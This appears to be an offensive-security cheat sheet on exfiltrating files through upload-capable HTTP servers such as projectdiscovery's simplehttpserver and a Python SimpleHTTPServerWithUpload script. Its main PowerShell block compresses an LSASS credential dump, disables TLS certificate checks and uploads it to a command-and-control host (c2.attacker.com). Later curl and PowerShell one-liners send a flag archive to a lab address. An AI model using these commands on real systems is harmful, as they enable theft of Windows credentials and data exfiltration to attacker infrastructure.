Using Curl to POST data to SimpleHTTPServerWithUpload.py

SimpleHTTPServer#projectdiscovery-simplehttpserver

• Simple command for running

      simplehttpserver -https -upload
      simplehttpserver -https -upload -listen 0.0.0.0:443
  

• Upload a file via curl upload-files-via-curl (Linux) or powershell download-uploading-files (Windows). Try to compress powershell first
  • Windows
  • Powershell
    • Possible to convert to one-liner and execute * C:\Windows\system32>powershell "<b;e;l;o;w;>") * Unzip with 7z x lsass.zip

                Compress-Archive -LiteralPath C:\Windows\temp\lsass.dmp -DestinationPath C:\Windows\temp\lsass.zip
                [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
      
                $uri='https://c2.attacker.com/lsass.zip'
                $uploadPath = 'C:\Windows\temp\lsass.zip'
                Invoke-RestMethod -Uri $uri -Method Put -InFile $uploadPath -UseDefaultCredentials" 
      

---

Python3 SimpleHTTPServer

• Caveats
• Insecure communications (HTTP)
  • Choose a server that accepts POST request and makes use of HTTPS
• Download

• SimpleHTTPServerwithUpload_Python3 from @touilleMan

• Modify listening port

• If you want to change the port that the script is listening to (by default 8000/tcp), use below to replace function "test". (i.e. 1337/tcp)

         def test(HandlerClass=SimpleHTTPRequestHandler, ServerClass=http.server.HTTPServer):
         server_address = ('', 1337)
         httpd = ServerClass(server_address,HandlerClass)
         httpd.serve_forever()
  

• From client-side
• Once SimpleHTTPServer is running then: (python3 SimpleHTTPServerWithUpload.py)
• Linux

         curl -F "file=@flag.zip" http://10.1.2.3:8000/
  

• Powershell

         $wc=New-Object System.Net.WebClient;$resp=$wc.UploadFile('http://10.1.2.3:8000',"C:\Users\Administrator\Desktop\flag.zip")